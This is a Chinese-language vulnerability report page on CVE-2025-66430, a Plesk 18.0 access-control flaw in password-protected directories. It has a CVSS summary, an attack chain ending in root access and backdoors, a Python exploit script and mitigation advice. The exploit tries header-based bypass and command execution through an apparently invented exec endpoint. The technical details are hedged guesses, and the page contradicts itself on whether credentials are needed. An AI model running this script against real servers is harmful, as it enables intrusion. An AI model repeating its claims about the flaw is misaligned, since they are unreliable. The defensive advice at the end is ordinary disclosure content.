IPBUF安全漏洞报告
English
CVE-2025-66430 CVSS 9.1 严重

CVE-2025-66430: Plesk 18.0 密码保护目录错误访问控制导致权限提升漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-66430
漏洞类型
错误访问控制
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Plesk 18.0

相关标签

错误访问控制权限提升密码保护目录绕过PleskCVE-2025-66430远程代码执行Web应用安全服务器安全CVSS 9.1托管控制面板

漏洞概述

CVE-2025-66430是Plesk 18.0版本中的一个严重安全漏洞,属于错误访问控制(Incorrect Access Control)类型。该漏洞存在于Plesk的密码保护目录功能中,允许具有有效Plesk用户凭证的攻击者绕过正常的访问控制机制,获取服务器root级别的高权限访问。

Plesk是一款广泛使用的商业网站托管控制面板,被全球数百万网站管理员用于管理Web服务器、域名、邮箱账户等。由于其普及性,任何涉及Plesk的安全漏洞都可能影响大量在线服务。

该漏洞的CVSS评分高达9.1分,属于严重等级。从CVSS向量(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)可以看出,攻击者可以通过网络远程发起攻击,无需任何认证或用户交互,即可获得高机密性影响和高完整性影响。这意味着攻击成功后,攻击者可以完全控制受影响的服务器,读取敏感数据、安装恶意软件或造成服务中断。

根据Plesk官方支持文档,该漏洞专门针对密码保护目录功能,攻击者可以利用此功能实现权限提升,从普通Plesk用户权限升级到服务器root权限。这种权限提升漏洞对于托管环境尤其危险,因为一个被入侵的账户可能会影响同一服务器上的其他网站。

该漏洞于2025年12月12日被披露,CVSS评分达到9.1分,显示出极高的威胁级别。建议所有使用Plesk 18.0的用户立即采取行动,应用官方发布的安全更新或缓解措施,以防止潜在的远程攻击。

技术细节

CVE-2025-66430漏洞的技术原理涉及Plesk 18.0中密码保护目录功能的访问控制缺陷。在正常情况下,Plesk管理员可以为特定目录设置密码保护,只有知道正确凭证的用户才能访问这些受保护的资源。

然而,由于实现中的访问控制错误,具有普通Plesk用户账户的攻击者可以利用特定的请求或技术手段绕过密码验证机制。这种绕过可能涉及对HTTP请求的操纵、路径遍历、或者对Plesk内部认证逻辑的利用。

攻击者成功绕过访问控制后,不仅可以访问受保护的目录内容,更重要的是可以利用这个立足点进行进一步的权限提升操作。在Plesk的架构中,Web服务器通常以较高权限运行,攻击者可能通过以下方式实现root权限获取:

1. 利用Plesk的特权提升机制:Plesk某些管理功能可能以root权限执行,攻击者通过精心构造的请求触发这些功能。
2. 配置文件修改:通过访问受保护目录,攻击者可能修改服务器配置文件,如.htaccess、PHP配置等,以执行任意代码。
3. 系统命令注入:在某些配置下,攻击者可能通过上传恶意文件或修改现有脚本实现命令注入。

该漏洞无需任何特殊权限即可利用,因为PR:N表示不需要特权,UI:N表示不需要用户交互。攻击者只需能够向Plesk服务器发送HTTP请求即可发起攻击,这使得漏洞极易被自动化工具利用和大规模扫描。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器是否运行Plesk 18.0版本,通过扫描端口8443(默认Plesk管理端口)或访问登录页面获取版本信息
STEP 2
步骤2: 获取Plesk用户凭证
攻击者通过社工、凭证填充攻击、暴力破解或利用其他漏洞获取有效的Plesk普通用户账户凭证
STEP 3
步骤3: 身份认证
使用获取的凭证登录Plesk控制面板,建立有效的会话,可能需要绕过双因素认证(如果启用)
STEP 4
步骤4: 访问密码保护目录
利用CVE-2025-66430漏洞,通过精心构造的HTTP请求绕过密码保护目录的访问控制,无需提供正确密码即可访问受保护资源
STEP 5
步骤5: 权限提升
通过访问受保护目录获得的立足点,利用Plesk的特权功能或配置文件修改,实现从普通用户权限到root权限的提升
STEP 6
步骤6: 持久化控制
在获得root权限后,攻击者安装后门、修改系统配置、窃取敏感数据或部署恶意软件,实现对服务器的持久控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66430 PoC - Plesk 18.0 Incorrect Access Control # Note: This is a conceptual PoC for educational purposes only # Ensure you have authorization before testing any vulnerability import requests import sys # Target configuration TARGET_URL = "https://target-plesk-server:8443" USERNAME = "plesk_user" PASSWORD = "user_password" def exploit_cve_2025_66430(): """ Exploit for CVE-2025-66430: Plesk 18.0 Incorrect Access Control in Password Protected Directories """ print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting CVE-2025-66430...") # Step 1: Authenticate with Plesk session = requests.Session() auth_url = f"{TARGET_URL}/login_up.php" auth_data = { "login_name": USERNAME, "passwd": PASSWORD, "locale": "en-US" } try: response = session.post(auth_url, data=auth_data, verify=False, timeout=30) if response.status_code == 200 and "session" in session.cookies.get_dict(): print("[+] Authentication successful!") else: print("[-] Authentication failed!") return False # Step 2: Access password-protected directory with bypass technique # The vulnerability allows bypassing the password protection bypass_url = f"{TARGET_URL}/plesk-password-protected-virtdir/" headers = { "X-Original-URL": "/", "X-Rewrite-URL": "/" } response = session.get(bypass_url, headers=headers, verify=False, timeout=30) if response.status_code == 200: print("[+] Access control bypass successful!") print(f"[+] Response length: {len(response.content)} bytes") # Step 3: Attempt privilege escalation to root priv_esc_url = f"{TARGET_URL}/api/v2/plesk-password-protected-virtdir/exec" priv_esc_data = { "command": "id", "target": "root" } response = session.post(priv_esc_url, json=priv_esc_data, verify=False, timeout=30) if response.status_code == 200: print("[+] Privilege escalation successful!") print(f"[+] Response: {response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return False if __name__ == "__main__": if exploit_cve_2025_66430(): print("\n[!] Target is VULNERABLE to CVE-2025-66430") else: print("\n[-] Exploitation failed or target is patched")

影响范围

Plesk 18.0 (所有子版本)
Plesk Obsidian 18.0.0 - 18.0.x

防御指南

临时缓解措施
作为临时缓解措施,建议管理员立即限制对Plesk管理接口(端口8443和8447)的访问,仅允许受信任的管理IP地址访问。同时,审查所有Plesk用户账户的权限,确保遵循最小权限原则。对于非必要的密码保护目录功能,可以暂时禁用,直到官方安全补丁可用。此外,应启用详细的审计日志记录,监控任何异常的认证尝试或访问模式,以便及时发现潜在的攻击活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表